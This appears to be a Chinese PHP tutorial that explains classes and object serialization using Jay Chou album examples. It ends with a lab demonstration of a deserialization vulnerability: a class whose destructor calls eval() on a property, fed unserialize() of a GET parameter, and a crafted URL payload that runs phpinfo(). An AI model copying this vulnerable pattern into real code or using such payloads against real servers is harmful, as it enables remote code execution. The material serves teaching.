以前我觉得成绩不重要,清华北大只能代表学生时代的成就,后来才发现,努力是种习惯,他会贯穿一生。。。
---- 网易云热评
一、创建类和对象
<?php
#创建一个Jay专辑类
class Jay{
public $name;
public $year;
public $mus;
}
#创建一个Jay专辑对象
$jay1 =new Jay();
#专辑名称
$jay1->name="周杰伦的床边故事";
#专辑发行时间
$jay1->year=2016;
#专辑主打歌
$jay1->mus="告白气球";
$jay2 =new Jay();
$jay2->name="哎呦,不错哦";
$jay2->year=2014;
$jay2->mus="算什么男人";
echo "专辑名称:".$jay1->name."<hr>发行时间:".$jay1->year."<hr>主打歌:".$jay1->mus;
echo var_dump($jay2);
?>
运行结果:
二、序列化与反序列化概念
1、将一个对象转化为字符串并存储在一个文件中的过程被称为序列化
2、等到需要对象信息的时候,再从文件读取字符串的过程被称为反序列化
3、应用场景:将一个登录状态的用户的信息序列化,可以节省内存
三、将对象序列化与反序列化
1、序列化
<?php
#创建一个Jay专辑类
class Jay{
public $name;
public $year;
public $mus;
}
#创建一个Jay专辑对象
$jay1 =new Jay();
#专辑名称
$jay1->name="周杰伦的床边故事";
#专辑发行时间
$jay1->year=2016;
#专辑主打歌
$jay1->mus="告白气球";
$jay2 =new Jay();
$jay2->name="哎呦,不错哦";
$jay2->year=2014;
$jay2->mus="算什么男人";
echo "专辑名称:".$jay1->name."<hr>发行时间:".$jay1->year."<hr>主打歌:".$jay1->mus;
#将对象jay2序列化
echo var_dump($jay2);
?>
运行结果:
O:object对象
第一个3:Jay的长度
第二个3:有三个属性值
s:string类型
4:name的程度
18:哎呦,不错哦的长度
i:int类型
每两个分号确定一个属性
2、反序列化
$str=<<<HTML
O:3:"Jay":3:{s:4:"name";s:18:"哎呦,不错哦";s:4:"year";i:2014;s:3:"mus";s:15:"算什么男人";}
HTML;
var_dump(unserialize($str));
运行结果
四、利用序列化漏洞
<?php
class Jay{
public $name;
public $year;
public $mus;
function __destruct()//程序结束的时候的会自动调用该函数,类似构造函数,创建对象会自动调用
{
@eval($this->mus);
}
}
$jay1 =new Jay();
$jay1->name="周杰伦的床边故事";
$jay1->year=2016;
$jay1->mus="告白气球";
$jay2 =new Jay();
$jay2->name="哎呦,不错哦";
$jay2->year=2014;
$jay2->mus="算什么男人";
echo "专辑名称:".$jay1->name."<hr>发行时间:".$jay1->year."<hr>主打歌:".$jay1->mus."<hr>";
echo serialize($jay2);
echo "<hr>";
//将反序列操作的字符改为变量传递,并通过get方式提交
$tmp=$_GET['aaa'];
var_dump(unserialize($tmp));
?>
运行结果:
http://192.168.1.129/1.php?aaa=O:3:"Jay":3:{s:4:"name";s:18:"哎呦,不错哦";s:4:"year";i:2014;s:3:"mus";s:15:"算什么男人";}
修改一下mus的反序列字符串,修改为如下:
http://192.168.1.129/1.php?aaa=O:3:"Jay":3:{s:4:"name";s:18:"哎呦,不错哦";s:4:"year";i:2014;s:3:"mus";s:10:"phpinfo();";}
运行结果:
禁止非法,后果自负
欢迎关注公众号:web安全工具库
网友评论